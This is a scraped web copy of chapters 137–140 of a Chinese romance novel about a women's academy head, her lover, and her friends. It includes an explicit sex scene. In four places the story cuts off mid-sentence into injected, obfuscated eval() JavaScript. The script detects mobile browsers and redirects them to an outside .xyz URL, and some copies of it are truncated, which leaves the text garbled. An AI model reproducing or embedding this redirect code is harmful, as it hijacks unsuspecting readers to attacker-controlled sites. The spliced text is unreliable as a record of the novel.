四野一片新绿,路边的蒲公英开着鲜亮的黄花,微风拂面,微凉而惬意,姜佑安步履轻盈地向前走着,面对未知的未来,她心怀希望,并不觉得恐惧。 “现在是没有,以后的事,谁说得准。”姜佑安说道。 戴庭芳有些担心,“你说的以后的事,跟吴县丞有关吗?” “没有啊,怎么会扯到他身上?”姜佑安问道。 “真的没有关系吗?你不要瞒着我,你今天突然跟龙老板打听吴县丞的事,是不是他来找你麻烦了?我们以后是不是要被迫自保?”戴庭芳说道。 姜佑安哈哈一笑,“没有的事,你就别瞎操心了。” 戴庭芳拉住了姜佑安的胳膊,“你跟我说清楚,我才能不操心。” 姜佑安觉得也没什么可隐瞒的,就说了唐佐走之前提醒她小心吴县丞的事,也简单地提了一下箫悦笙的事,说她家里还有事没解决,日后还得回去一趟,看书练武,都是为了回家做准备。 戴庭芳知道没什么大事,也就放心了。 龙世蓉的大婚的日子定在了五月初一,姜佑安和袁竹带着阮荷、李初五还有其他几个和龙世蓉相熟的人去喝喜酒,新人礼成,新郎就直接去了后院,席上是龙世蓉往来穿行,招待宾客。 陪着龙世蓉忙前忙后的,不是她原先的贴身侍女方韵,却是一个陌生的面孔,趁龙世蓉过来敬酒,姜佑安问起了方韵的去向,“今天是你大喜的日子,怎么不见方韵?” “方韵嫁人了,最近还怀孕了,这里乱糟糟的,她过来不方便。”龙世蓉把身后捧着酒壶的姑娘拉过来,“她叫文珠,是我前些日子刚招进来的丫鬟,她说话稳重,办事也利落,以后你们要是找不到我,有什么事跟她说就是了。” 文珠喜笑颜开,略微低着头,脸上有些羞涩,“小姐太抬举我了,我只是尽心尽力服侍小姐罢了。” “这位是袁竹袁老板,她常来给咱们古董店送花,你也见过了。”龙世蓉介绍道。 文珠微笑点头,“袁老板好,之前不知道您是小姐的朋友,有照顾不周的地方,还请见谅。” “姑娘客气了。”袁竹笑着答道。 “这位是姜佑安姜院长,是女子书院的院长,她家学生住着我家的宅院,以后你们少不了常来常往,也打声招呼吧。”龙世蓉笑着说道。 “是,姜院长好。”文珠微笑着看向姜佑安,待看清了她的长相,顿时变了脸色,“公……” 137. 醉酒 “公?公什么?”龙世蓉奇怪地看着文珠,她平日里行事沉稳干练,从没有过失态的时候,怎么见了姜佑安,好像很害怕的样子。 文珠赶忙低下头,“公,恭喜,我想说恭喜来着,是我说错话了,姜院长好,以后请多多关照。” “文珠姑娘客气了。”姜佑安笑着替她解了围,“能得到龙老板的夸奖,姑娘自然有过人之处,以后怕是要姑娘多关照我了。” “姜院长客气了。”文珠低着头,没敢再看姜佑安一眼,介绍其他人的时候,她也只匆匆打声招呼,就回到了龙世蓉的身后。 龙世蓉正因为成亲而高兴,没有注意到文珠的异常,不过,在离开姜佑安的实现之后,文珠就又恢复了正常。 喝过了喜酒,姜佑安和袁竹带着其他人一起回了家,姜佑安晚饭也没吃,就去了戴庭芳那里,进门时,她身上还带着淡淡的酒气。 宴席上戴庭芳除了恭喜龙世蓉大婚,没有再多说一句话,此时看到姜佑安,他忍不住问道:“你不是不喝酒的吗?” 姜佑安笑着说道:“龙世蓉成亲,到处喜气洋洋的,看得人高兴,我也高兴,就跟着喝了几杯。” 戴庭芳把姜佑安扶到椅子上坐了,倒了一杯茶,试了一下温度,然后送到她的手里,“你要是喜欢这种事,咱们也可以像她们这样办婚礼。” 姜佑安两手捧着茶杯,有些迷糊地抬头看着他,“咱们,婚礼?你和我,像她们?你也要入赘?” “也不是不可以。”戴庭芳说道,看到别人高高兴兴地成婚,他也很羡慕,要是入赘能让姜佑安答应和他成亲,他不介意当一个赘婿,就算父亲不同意,他也要坚持和姜佑安成亲。 姜佑安嘿嘿笑着,“你说什么傻话。” 戴庭芳俯身低头,认真地看着姜佑安的眼睛,“我真的可以。” 姜佑安抬起右手,轻抚着戴庭芳的脸,她的眼睛里盛满了爱意,“公子,你长得真好看。” 戴庭芳左手抓住了姜佑安的手,右手撑着椅背,低头吻在她的唇上。 姜佑安仰着头,热烈地回应着他的吻,挣脱了戴庭芳的手,搂住了他的脖子。 戴庭芳俯身向前,把姜佑安压在了椅背上,两人越贴越近,温热的液体弄湿了两个人的衣服。 “茶水…洒了…”戴庭芳口齿不清地说道。 “别管…”姜佑安抬腿缠上了戴庭芳的腰,把他禁锢在身前,动情地和他拥吻。 戴庭芳还保留着一丝理智,“门…没关…” 姜佑安又亲了一会儿,才终于放开了戴庭芳,“去关门…” 戴庭芳舔了舔嘴唇,又吻了过去,“等会儿再去…” 姜佑安感受着戴庭芳的爱意和渴求,她解开戴庭芳的衣带,肆意地抚摸着他的身体,“还不…关门?” 戴庭芳觉得这样确实不太行,虽说现在这边没什么人,但万一有人从门口经过看见了,可就糟了,他放开了姜佑安,匆匆闩上屋门,拉着姜佑安去了卧室。 姜佑安躺在床上,笑着问道:“公子,这么早就要睡了?” 戴庭芳满脸通红地解着她的衣裳,“怎么今天又叫起公子来了?” 姜佑安微笑着看着他,“你有没有看到新郎害羞的样子?他让我想起了刚认识你的时候,你一跟女人说话就脸红,戴公子,你还记得那时候的事吗?” “当然记得。”戴庭芳俯身吻了吻她的额头,“你觉得新郎长得好看吗?” 姜佑安抬手捧着戴庭芳的脸,笑着说道:“好看,不过,还是公子的长相更符合我的喜好。” “那就好。”戴庭芳满意地笑了,脑袋下移,亲吻着姜佑安的身体。 姜佑安的身体因为戴庭芳的动作而轻轻颤抖,“公子…你为什么会有看到女人就脸红的毛病?” 戴庭芳一边爱抚着姜佑安的身体,一边解释道:“小时候,我家里有个丫鬟,岁数跟我差不多,有一天,我跟她手拉手在院子里玩儿,被我爹看到的,我爹大发雷霆,说我不该牵女孩子的手,骂我不知羞耻、不知检点,要是不听话,以后就会变成禽兽,我其实听不太明白,不过,从那以后,我一看见女孩子,就会想起我爹骂我的场景,紧张得脸发烫,说不出话来。” “小孩子而已,你爹说得也太严重了。”姜佑安说道。 “我爹觉得女孩子的名节很重要,他是想教育我不要随意对待女孩子,只是方式不太好。”戴庭芳向下俯身,亲吻舔舐。 姜佑安的身体猛地一抖,呼吸急促起来,“你…不是说…不想这么做吗…?” “现在…我想…”戴庭芳在亲吻的间隙说道。 姜佑安两手用力抓着被子,微微挺着身子,“真想不到…跟女人说话…就脸红的你…如今…会做这种事…” 戴庭芳没说话,继续用唇舌刺激着她,姜佑安蜷缩着脚趾颤抖了一阵,身子软了下去。 “嗯…哈…”姜佑安瘫在床上,轻轻喘息着。 戴庭芳凑过去吻了吻她的脸,“因为是你,我才这么做的。” 姜佑安回过神来,亲吻着戴庭芳的嘴角,“我很荣幸。” “冷不冷?要不要盖被子?”戴庭芳问道。 姜佑安抱着戴庭芳的脖子,把他脑袋压下来,在他耳边轻声说道:“我不要被子,公子,你来让我热起来吧。” 戴庭芳听了,激动地搂着姜佑安的腰,欺身压了上去。 五月学堂放了假,花田里的玫瑰开了,袁家不论老少都进了玫瑰田里,摘花、洗花、晾花、晒花,做鲜花饼,做花茶,卖花、卖饼、卖绢花,忙得不可开交。 除了玫瑰花,别的花也开了不少,袁竹和姜佑安又在研究着做香露、香粉、香膏和口脂,尝试了几次之后,竟也做得有模有样,姜佑安还专门为此在瓷器店又定制了一批小瓷罐。 袁家菊花的名声在外,陆续有人买菊花苗,还有人专程从外地来买,捎带着也会买些点心、绢花和香粉之类的,慢慢的,香粉香膏的名气也上来了,许多客商专门来买这些,运到外地去卖,袁家的生意越来越兴隆。 等玫瑰的盛花期过了,村里的麦田也收割完毕了,附近有孩子在书院读书的村民又送了新打的麦子来,张慈也把用作房租的粮食送了来,姜佑安尽数收下,一一记了账,又给徐燕送了些过去,徐燕又给了她好多菜,还有半篮子鸡蛋,让她带回去给孩子们吃。 六月,天气越来越热了,学堂开学了,学生们却只想在凉快的室内写字,不想去大日 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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姜佑安不太理解,“我乱说什么了?你都是嫁过一次的人了,还怕说这些?” “嫁没嫁过人都不该说这些,真是脸皮都不要了。”袁竹说道。 姜佑安不以为意,“这儿就咱们两个,说一说怎么了?不说啊,你连男人是好是坏都不知道。” “男人是好是坏,我自己能判断。”袁竹说道。 “那辛老师是好是坏?”姜佑安笑着问道。 “辛老师当人是好人,你不也是看他品性不错,才留他当老师的吗?”袁竹说道。 “谁跟你说这个了?我是说他在床上是好是坏。”姜佑安说道。 袁竹皱起了眉头,“床上?床上有什么好坏?我又没打算跟他睡一起。” “不睡一起?那你们天天都在干什么?”姜佑安惊讶地问道。 “卖花,干活,还能干什么?”袁竹没好气地说道。 “什么都不干哪能行?我跟你说,男人不能只看外表的,有的人长得好看,身子也健壮,到了床上,没一会儿就不行了,真的很扫兴,你还是应该提前试试,要是不行,就再换一个。”姜佑安热心地建议道。 138. 碗莲 “你在说什么呢?”袁竹问道,什么不行啊扫兴之类的话,她听不太明白。 “我在说行房事啊,你别不好意思,这就是咱们两个人的悄悄话,我不会告诉别人的。”姜佑安说道。 听到姜佑安说房事,痛苦的回忆涌上心头,袁竹感觉非常恶心,“我不想做那种事,你不要跟我说了。” “你不想?”姜佑安向身后看了看,见没有人在堂屋里,不过她还是压低了声音,“是不是辛老师不行啊?” “他行不行都跟我没关系。”袁竹说道。 “怎么会没关系?你不是跟我说,你同意让辛老师留在你身边了吗?”姜佑安问道。 “我说要留他在身边,可没说要跟他行房事。”袁竹说道。 “为什么?你对他的身子不满意?”姜佑安问道。 “我说了不想就是不想,跟他没关系,你别在这儿胡说八道了,练你的箭去吧。”袁竹放下剪刀,拿来扫帚,清扫着地上的枝叶。 “好,你不愿意说,我就不问了。”姜佑安悻悻地转身离去。 出了袁竹的房间,姜佑安看到院子里阮荷正站在水缸边,缸中的莲花开了,红红粉粉的花瓣,鲜嫩可爱,香气清新怡人。 姜佑安转换了心情,向阮荷走过去,“赏花呢?” “佑安姐姐来了?”阮荷回过头来,拉着姜佑安走到缸边,“你看是大荷花好看,还是小荷花好看?” 姜佑安向缸旁边看去,那边靠墙摆放着一个木架子,是阮荷专门找杨恩定制的,上面放着□□盆莲花,说是盆,其实就是几个磕坏碗沿的大碗,里面盛着清水,碗底里是淤泥,水面之上撑着几片圆圆的荷叶,荷叶之中,开出一朵小小的花。 这几碗小莲花都是阮荷从春天就开始侍弄的,她说是在书里看来的法子,想试试能不等你种出来,姜佑安也很感兴趣,特意去找瓷器铺的老板讨要了这些磕坏的大碗来给她用,没想到她真的种出来了。 这一碗碗莲花,有的用的是去年在缸里采的莲子,有的用的是她买来的老莲子,有的绿叶层层叠叠,却不见一朵花,有的只三四个叶子,花却已经盛开,旁边还孕育着一个小花苞。 那些花有白的,有粉的,有大红的,还有红粉相间的,花瓣精巧,看起来可爱极了。 “还是小阮种的好看。”姜佑安夸赞道。 “你喜欢哪个?我送你一盆。”阮荷高兴地说道。 “这都是你的心血,我哪好意思拿。”姜佑安往缸边凑了凑,用力闻了两下,做出陶醉的表情,“我还是更喜欢大荷花的香气。” 见她们二人在院子里赏花,周围的人也聚集了过来,品评着花的颜色和香气,在阮荷房里做绢花的阮晨烟也走了出来,笑着问道:“我姐种的荷花这么好看,是不是都可以拿去卖了?” “我看可以。”石倩答道。 “这么好看的花,肯定可以卖好多钱吧。”姜白凤说道。 “就是太少了点儿,这要是卖了,我们就没花看了。”李初五说道。 阮荷点了点头,“我还想留着收种子,等明年接着种呢。” 袁竹不知道什么时候也来到了人群了,“那就留着吧,明年我们多种一些,再拿去卖。” “我看行,小阮,明年你也教教我们怎么种,大家种它个百十来盆,慢慢卖。”郭英笑着说道。 “好啊,明年袁姐姐去定州买花苗的时候,帮我多买些老莲子回来吧,要是有现成的碗莲种子就更好了。”阮荷说道。 “行,到时候我去问问。”袁竹说道。 定下了明年种碗莲的事,大家又就着这个话题聊开了,一会儿说起莲藕炖汤好喝,一会儿又说起荷叶能泡茶,还有人说今年秋天要早点去河边摘莲蓬,多剥点儿莲子煮粥吃,大家你一言我一语的,院子里热闹极了。 太阳当空,姜佑安觉得很热,人多杂乱,就更觉得热了,她说要去看看戴庭芳,就直接出了院子,往学堂那边去了。 大家也觉得热,挪到了蔷薇架下,继续聊着闲天,徐洪愿说起最近外出卖花时听来的新鲜事,说是京城元宵节那晚,皇上开恩,让宫女们出去看灯会,竟有一百多人趁机逃跑了。 大家听了觉得奇怪,怎么元宵节的事,现在才来说,这算什么新鲜事。 徐洪愿说这消息最近才传到泰安县来,这里离京城那么远,抓逃跑的宫女,也不会抓到这里来。 大家觉得这新鲜事没什么意思,不管是皇宫、京城还是宫女,都离她们过于遥远,于是转头看向袁竹,问她打算什么时候跟辛老师成亲。 袁竹说没有的事,不要乱说,转而问起箫悦笙怎么没在。 大家四下看看,果然不见箫悦笙,春花说今天下午不用操练,她可能去园子里练箭去了。 姜佑安离开袁家,走到学堂附近,看到箫悦笙腿上绑着沙袋,正在训练场上跑步。 她穿着轻薄的衣裤,脸上汗如雨下,跑起来时,步伐沉重。 “今天不是休息吗?你怎么还在这儿训练?”姜佑安趁她跑到场地边缘时,走过去扬声问道。 “我不需要休息。”箫悦笙说着,越跑越远。 “身体要紧,天气这么热,你小心中暑。”姜佑安冲她喊道。 “我没事。”箫悦笙的声音远远传来。 姜佑安见劝不动她,也只好放弃,辛开元听到了姜佑安的声音,从他的院子里走了出来,“我劝过她了,她说今天不是休息的日子,她会坚持练习。” “你那屋子里能看到训练场,就麻烦你多注意点儿了,看着她别累倒了。”姜佑安说道。 “今天还好说,明天下午我想去帮袁娘子干活去,不能在这里守着。”辛开元说道。 “嗯,说得也是,本来就该你休息了,你想去做什么,都是你的自由,箫悦笙就不用你管了,等会儿我再去跟她谈谈。”姜佑安说道。 “那就辛苦姜院长了。”辛开元说道。 “辛老师。”姜佑安转过身来看着他,抬手放在额前遮着太阳,“你跟袁竹怎么样了?” 辛开元笑了笑,“我们挺好的。” “挺好的?那你们怎么还不搬到一起住?”姜佑安问道。 辛开元的神情有些无奈,“我是想啊,但袁娘子不愿意。” “为什么?”姜佑安问道。 “我不知道,可能她讨厌男人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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姜佑安捧着茶杯,笑了笑,“四年过去了,那个老头子说不定已经死了。” “就算那个老头子死了,你父亲又要把你嫁给别人怎么办?”戴庭芳说道。 姜佑安抬头看向门外,轻轻叹了口气,“面对一个权势滔天的父亲,可能也只能听他的话,乖乖嫁人吧。” “那你就不要回去了。”戴庭芳起身走到姜佑安身边,蹲在她腿边劝道。 姜佑安看着他哀怨忧愁的脸,心生怜爱,抬手轻抚着他的眉眼,“我真是舍不下你,要是真有那么一天,我就把你带回京城,让你做我的男宠怎么样?” 戴庭芳一把抓住了她的手腕,“你不许回去!你说过,我是正房,哪怕是入赘,我也是你的丈夫,不是男宠。” “我父亲不会同意让我嫁给你,你父亲也不会同意让你娶我,到时候,我嫁了不合心意的男人,只有你能给我安慰了,你不愿意留在我身边吗?”姜佑安问道。 戴庭芳站起身来,“我当然不愿意,你说的这哪里是男宠?分明就是偷情!” 139. 坚持 姜佑安掩饰不住脸上的笑意,眼睛笑得弯弯的,“跟我偷情,你真的不愿意?我都嫁给不爱的老男人了,你就不能用你年轻的身体,安慰安慰我吗?” 看着姜佑安的笑脸,戴庭芳愈加生气,眉头拧在了一起,“谁让你嫁给不爱的老男人了?你不许回去!不许嫁给别人!” 姜佑安站起身来,把茶杯放在了一旁的桌上,一把抱住了戴庭芳的腰,把他搂在怀里,“我跟你开玩笑的,别这么生气,我不会嫁给别人的。” 戴庭芳急躁的心情被姜佑安瞬间安抚,“真的?” “真的。”姜佑安轻抚着他的后背,“反抗我父亲不是一件容易的事,可能还有别的解决办法,只是我一时还没想好。” “那你告诉我,你的真实身份,还有那些曾经发生的事,我们一起想办法。”戴庭芳说道。 “我还没想好该怎么跟你说,等我想好了,就告诉你。”姜佑安说道。 “好,我等着。”戴庭芳把姜佑安紧紧拥进了怀里。 姜佑安抬头看向戴庭芳,轻轻笑着,“你不觉得这样抱着,很热吗?” “是很热,不过,更热我也可以忍受。”戴庭芳凑过去,吻了吻姜佑安的嘴唇,红着脸问道:“你呢?要试一下吗?” “戴老师学坏了。”姜佑安两手揽着戴庭芳的脖子,含笑看着他的眼睛,“折腾得一身汗,还要洗澡,不如就等晚上吧,到时候一起洗。” 戴庭芳抱着她不肯松手,“你要是嫌麻烦,等下我可以帮你洗。” 姜佑安的右手顺着戴庭芳的脖子,下滑到胸口,抚摸着他青色麻衣上的点点汗渍,“我现在没什么兴致,戴老师可以忍到晚上吗?” 戴庭芳点了点头,放开了姜佑安,“我可以。” 姜佑安冲他笑了笑,出门走到了屋檐下,冲着训练场大声喊道:“箫悦笙!你歇一歇,过来喝点儿茶水吧。” 箫悦笙停了下来,解下了沙袋,跑到了戴庭芳的院子里。 戴庭芳又倒了杯茶水,递给了姜佑安,姜佑安招呼箫悦笙进屋坐下,把杯子放在她手里。 姜佑安劝了箫悦笙一番,但她丝毫没有放弃的意思,只说会注意自己的身体,让姜佑安不用担心。 喝过了茶,箫悦笙歇了一会儿,又跑去了训练场,姜佑安见她心意已决,也就没再劝她。 第二天下午,箫悦笙又出现在训练场上,辛开元去找袁竹时说起,大家才知道她是独自去训练了,石倩她们很担心,去训练场劝她,她也不肯回来,春花还有几个女孩跟在她身后,说要跟她一起训练。 跑了几圈之后,几个孩子都觉得头晕眼花,石倩她们看不过去,让孩子们歇歇,箫悦笙也跟她们说,要训练是她自己的事,不用别人陪着。 石倩她们始终是不放心,守在训练场边上,哪儿也不肯去。 箫悦笙只好妥协,说要先回去休息,等下午凉快点儿的时候再过来。 太阳落山前,箫悦笙又去了训练场跑步、打拳,那些从边境来的孩子们,都跟在她身后,有样学样,连石倩和陆欢都没有去准备晚饭,也跟着一起训练。 辛开元从袁家回来的时候看到了她们,他大为不解,向石倩问起她们坚持训练的原因。 石倩向新开元讲述了她们曾经的遭遇,她说,也许大家还想回到故乡去,想用自己的拳头和武器,夺回被夺走的东西。 辛开元深受触动,觉得箫悦笙日后说不定可以领导一支女子军队,虽然他不知道这样一支军队可以做些什么,他去找了姜佑安,说要把训练课继续开下去。 姜佑安不知道学生们的意见,她没有妄下决定,几天后,她发现跟着箫悦笙训练的人越来越多,已经超过学生的半数了,她才找来辛开元商量重新开课的事。 “中午吃完饭就去训练,确实太热了,可以把时间挪到傍晚,只是为了强身健体,我看训练一个时辰也就够了。”辛开元说道。 “傍晚训练,学生们都集中到了一起,又要吃饭,又要打水洗澡,时间太赶了点儿,我看不如把训练课挪到早上,读书课挪到下午。”姜佑安提议道。 想到不能跟袁竹一起去卖花了,辛开元不是很情愿,“当初为了让我能和袁娘子一起卖花,我才把课放到下午的,要是早上训练,我就不能去卖花了。” 姜佑安看穿了他的心思,笑着说道:“出去卖花,袁竹和徐洪愿两个人就够了,我知道你想要跟袁竹多相处,你好好想想,是上午三个人去卖花好,还是下午两个人独处好?” 辛开元笑了,“下午两个人独处好。” “行,那就这么定了吧,明天我们一起去跟学生们说一声。”姜佑安说道。 “嗯。”辛开元点了点头,转身从堂屋里出去,找袁竹去了。 姜佑安拿起桌上的兵书,继续读了起来。 第二天吃过早饭,姜佑安和学生们一起去了学堂,向大家宣布了重开训练课的事,在座的学生有的很兴奋,有的觉得无所谓,还有的表情有些抗拒。 “我看到最近跟着箫姑娘一起训练的学生有许多,从开始训练到现在,也有大半年的时间了,想必大家都习惯了,继续训练也不是什么难事。”姜佑安说道。 “可是天很热啊!干吗非得受这个罪?”下面有学生小声抱怨着,姜佑安微笑着看着她们,“还有别的意见吗?” “我是来读书的,不是来当兵的。” “对啊,好不容易不用干农活了,我想轻松点儿。” “在外面晒得越来越黑,都跟我爹差不多了。” “训练来训练去,能有什么用啊?” 不想训练的学生们纷纷表达着自己的意见,姜佑安一直保持着微笑,知道学堂里安静下来。 “如果你们只是想要读书识字,便于日后相夫教子,所以不想参加训练,那我没有意见,不想参加的,就可以不参加。”姜佑安心平气和地说道。 “要是不想相夫教子呢?”霍静问道。 “那你就需要有反抗的能力,结婚生子是不需要抗争的,周围的人都劝着你、逼着你去做,但要是不想这样活下去,你最好有强健的体魄和不屈的意志,来对抗周围的一切。”姜佑安说道。 “就像箫姐姐那样吗?”春花问道。 “对,就像她那样,她是个坚强的人,不会沉溺于享乐的生活,也不会轻易认输。”姜佑安向学生们扫视了一圈,“谁都想过舒服的日子,但日子过得越舒服,人就会变得越软弱,不管是精神还是□□,而人一旦变得软弱,就容易被人欺辱,尤其是女人。” “姜院长,你是在吓唬我们吗?”姜白凤问道。 “怎么会是吓唬?白凤,你想想,如果你是个软弱的人,你现在会是什么下场。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“好。”“知道了。”学生们纷纷回答。 看到仍有学生的表情不是很情愿,姜佑安又多说了几句,“不想训练的可以不去,强健体魄是我对你们的期望,不是强制的,不管你们锻炼还是不锻炼,日后遇到麻烦,或是遭遇了什么其他的事,都可以到女子书院来求助,到袁家来也行,大家一定要记着,我们是彼此的同盟,我希望你们都能不被欺负,如果有人要欺负我们书院或者袁家,我们也绝不能坐以待毙。” “好!”“我们听院长的!”“记住了!”“我们是同盟!”“同盟!” 学生们响亮的声音,让姜佑安心情愉悦,“好了,大家把纸笔先放下,咱们趁着天还不太热,赶紧去训练吧。” 学生们涌入训练场时,箫悦笙已经在场地中央等着了,辛开元宣布,以后由箫悦笙负责带领学生们操练,箫悦笙有些惊讶,不过,她已经对训练内容非常熟悉了,很快就指挥着学生们跑起步来。 训练场外围的围墙已经修好,再没有村民过来围观了,姜佑安跟在队尾,听从着箫悦笙的指挥。 一个时辰之后,大家都大汗淋漓,杨恩和戴庭芳送了晾凉的茶水来,给大家解渴,大家喝了茶,就各自散去了,姜佑安去戴庭芳屋里洗了个澡,换了身衣服,才又清清爽爽地出门了。 回到袁家,姜佑安刚踏进二门,阮荷就跑过来,把她拉进了自己的房间里,“佑安姐姐!袁竹的娘又来了,这次连她爹也来了,肯定又是来要钱的。” 140. 驱赶 “袁竹跟她爹的关系不是不好吗?她爹怎么也好意思上门来。”姜佑安问道。 “她爹说自己后悔了,不该把袁姐姐嫁过去,当初自己也是受了蒙骗,又是认错,又是作揖的,你说袁姐姐要是原谅他了怎么办?”阮荷说道。 姜佑安有些犹豫,“她们是一家人,我们也不好说什么吧。” “就因为我们是外人,才更能看得清,她的家人只把她当做一个钱袋子,跟这样的家人维系关系,实在是不值当。”阮荷说道。 姜佑安想了想,“连你都这么说,看来是该好好劝劝袁竹了。” 两人正商量着对策,就听见院子里闹了起来,有男人的叫骂声和女人的哭喊声,还有众多女人拉架的声音。 姜佑安和阮荷赶忙走了出去,只见袁竹正把一个男人往外推,项三娘拉着袁竹的胳膊,哭着劝她。 “儿啊,他可是你爹,你不能这样把他往外赶。”项三娘说道。 袁竹收了手,面向项三娘,怒目圆睁,“我当初回娘家,说我不想伺候一个快死的人,你们不同意,我说要在家里住两天,你们也不同意,当时你们是怎么把赶出去的,我成了寡妇,你们是怎么嫌弃我的,以为我都忘了吗?” 袁德扬手就要打她,“你个白眼狼,我白养你这么大了!” 辛开元挡在了袁竹面前,“有话好好说,不要动手!” 院子里的人都聚拢过来,围成了一个圈,纷纷叫嚷“不许动手打人”。 “你让他打。”袁竹推开了辛开元,怒视着袁德,“还以为我是小孩子呢?我告诉你,你敢打我一巴掌,我就敢还你一巴掌!” 袁德气得咬牙切齿,挥舞着右手,却也没有真的上前,“真是反了天了!你想打你老爹?” “袁竹,你就跟你爹服个软吧,他已经知道错了。”项三娘拉着袁竹的胳膊劝道。 “我为什么要服软?知道错了,就老老实实待在家里,别过来烦我!”袁竹说道。 袁德抬手指着项三娘怒骂道:“看你教出来的好女儿,连我这个爹都不认了!当初就不该留着她,直接淹死就好了!” “说得好像你对我有恩一样,你为什么留着我?还不是为了卖掉我给我哥哥娶媳妇?现在他都成家了,现在孩子都有了吧?你们还来找我干什么?”袁竹冷静地问道。 项三娘脸上有些难堪,“我们怎么说也是一家人,你怎么能这么说话!咱们家里穷,这不也是没有办法吗,你就忍心让你哥哥一辈子打光棍?” 袁竹冷哼一声,“他娶不上媳妇,是他自己没本事,整天又懒又馋,什么都不干,整天就想着打牌喝酒,活该他打光棍,不管是谁跟他成亲,都是祸害了别人家的姑娘。” “他是你哥!你怎么能这么说他!”袁德冲过来要打袁竹,被辛开元拦了下来。 辛开元牢牢抓着袁德的手腕,既气愤又不解,“伯父,袁竹说的有什么不对的地方,你纠正她就是了,为什么总想动手打人?你平时在家里就这么对她的吗?” “就是因为我说的都对,他说不过我,才气得想打我一顿。”袁竹冷眼看着袁德,“是你儿子没出息,你要是生气,去打你儿子啊?不过,你现在应该打不过他了吧,要是反过来被他打一顿,我娘应该也拉不住吧,就像她以前拉不住你一样。” 袁德甩开了辛开元的手,“早知道你这么没良心,我们就不该跑这一趟!” “我本来就不该有良心,你们把我嫁给一个半截身子入土的人,也挺没良心的,没良心的父母养出了没良心的孩子,这不是挺正常的吗?”袁竹说道。 袁德气得发狂,但院子里这么多人在场,他也没办法发作,只好猛地跺了一下脚,“孩他娘,我们走!以后只当没有这个女儿!” 项三娘走到袁德身边劝道:“你别着急,好好跟咱们女儿说,她不是那绝情的人。” “怎么不是?她都骂我们没良心了,你还能指望她什么?”袁德生气地说道。 “袁竹,咱们再怎么说也是一家人,你一定把话说得这么绝吗?”项三娘看向袁竹,语气里带着乞求。 袁竹不为所动,“我老公死了,他家人说是我克死的,你们没有为我说过一句话,还嫌我住在家里丢人,我指望不上你们,你们把家里的一切都给我哥了,就该去指望他,怎么又过来指望我了?” 袁德脸涨得通红,憋了半天没说出一个字,叫上项三娘,恨恨地转身出去了。 石倩看着两人的背影,想起了自己的爹娘,自己跟着丈夫逃出来,也不知道爹娘怎么样了,她走到袁竹身边,轻声劝道:“袁娘子,这大热天的,不如留两位喝点儿茶,吃了午饭再走吧。” “不用留,我跟他们已经没有关系了。”袁竹觉得很累,她转身向堂屋走去,辛开元跟着她一起进了屋。 “看来不用我们操心了。”姜佑安对阮荷说道。 阮荷有些担心地看向袁竹的房间,“袁姐姐肯定很难过。” “你现在还觉得难过吗?”姜佑安问道。 阮荷摇了摇头。 “这个决定是袁竹主动做出的,说明她已经想明白了,就算难过也只是暂时的,让辛老师去好好安慰她吧。”姜佑安说道。 阮荷点了点头,院子里的人也都各自散去了。 跟着袁竹进了屋,辛开元把门关上了,见她站在窗边,便走过去轻轻地把她拥在怀里。 袁竹伸手抱着辛开元的腰,依偎在他胸前,轻声叹了口气。 卖花回来时,听到石倩说她的家人来看她了,袁竹满心欢喜,以为姐姐来了,谁知堂屋里坐着的却是她爹娘,她一看见她爹的脸就觉得讨厌,就算他认错道歉,她也不想原谅。 “我没想到,你的家人是这样的。”辛开元说道。 “上次我娘来,我给她拿了钱,我爹肯定以为再来还可以要到钱。”袁竹说道。 “他们一点儿都不考虑你的处境。”辛开元说道。 “是,所以我也不想为他们考虑了,他们养我长大,又卖了我,我们两清了。”袁竹说道。 “他们强迫你嫁人,逼你和你不喜欢的男人生活在一起,那些日子,你肯定很痛苦,他们不说要补偿你,只轻飘飘地道个歉,就又想找你要钱,真是过分。”辛开元说道。 袁竹的脸埋在辛开元的胸口,难过地说道:“他们道歉,只是暂时的,其实他们从不觉得自己做错了,只因为我和姐姐是女孩儿,就该被卖出去换钱来,给哥哥这个男孩娶亲,我真是讨厌这一套。” 辛开元轻抚着袁竹的后背,安慰道:“你做得对,今天把他们赶走了,他们以后才不敢再欺负你。” “他们以后应该不会再过来了,我爹怎么样都无所谓,就是我娘太可怜了,被我爹 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14818559|144104||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 欺负了一辈子,我让她过来跟我住,她又不肯。”袁竹说道。 “这是伯母自己的选择,你也没有办法。”辛开元说道。 袁竹放开了辛开元,往床边走去,“我累了,想歇一会儿。” 辛开元见袁竹去床上躺了,他拿过枕头边的团扇,坐在床边给她扇风,“你睡吧,我在这里守着你。” 阵阵轻风拂面,袁竹闭上了眼睛,“不用了,你也回去歇着吧。” “我今天没什么事干,你就让我陪着你吧。”辛开元说道。 袁竹睁开眼睛,侧着头看向他,“我没事的。” 辛开元微微一笑,手上摇着扇子,“我知道,袁娘子很坚强,不会轻易被击倒,我只是想陪着你而已。” 袁竹往旁边让了让,“你也上来躺会儿吧。” 